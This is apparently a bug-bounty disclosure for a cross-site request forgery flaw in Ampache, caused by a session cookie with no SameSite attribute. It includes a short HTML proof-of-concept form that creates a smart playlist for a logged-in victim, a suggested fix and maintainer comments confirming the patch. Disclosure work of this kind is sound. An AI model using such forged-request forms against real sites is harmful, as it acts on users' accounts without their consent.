Cross-Site Request Forgery (CSRF) in ampache/ampache


Reported on

Jul 24th 2021

✍️ Description

When you don't set the SameSite attribute of cookies the browsers have special act in front of this issue.(I mean set default value on it) chrome and chromium based browsers set the attribute "Lax" that mean if you do add/delete/alter operation in a get HTTP request then your site more vulnerable with CSRF attacks.

But Firefox ( one of big ones ) don't set this attribute to "Lax" and set it to "none" that makes all POST and GET requests more Vulnerable to CSRF attack.

In you don't set any SameSite attribute for your cookies. In also you set SameSite attribute for all cookies to "Strict" that is good but for main session cookie that name "ampache" you didn't set any SameSite attribute.

So in Firefox attacker can Add any Smart Playlist With CSRF attack that users already allowed manually do it.

🕵️‍♂️ Proof of Concept

// PoC.html

  <script>history.pushState('', '', '/')</script>
    <form action="" method="POST">
      <input type="hidden" name="limit" value="1" />
      <input type="hidden" name="operator" value="and" />
      <input type="hidden" name="rule&#95;1" value="anywhere" />
      <input type="hidden" name="rule&#95;1&#95;operator" value="0" />
      <input type="hidden" name="rule&#95;1&#95;input" value="" />
      <input type="hidden" name="action" value="save&#95;as&#95;smartplaylist" />
      <input type="submit" value="Submit request" />

💥 Impact

This vulnerability is capable of Add any Smart Playlist without user's permission that have high impact on availability of user interactions.


You should set SameSite attribute to Lax and don't use Get method for writing, Or use strict if you don't want to share cookies to any third party application.


a year ago


@admin can you ping me as a maintainer for this report?

a year ago


Hey lachlan, I've authorised you as the maintainer of ampache, meaning you'll have rights for all future reports against ampache/ampache. Please let me know if you're still unable to view/interact with this page, thanks!

lachlan validated this vulnerability a year ago
amammad has been awarded the disclosure bounty
The fix bounty is now up for grabs
lachlan confirmed that a fix has been merged on efed4e a year ago
lachlan has been awarded the fix bounty
a year ago


your welcome.

thanks huntr team too.

to join this conversation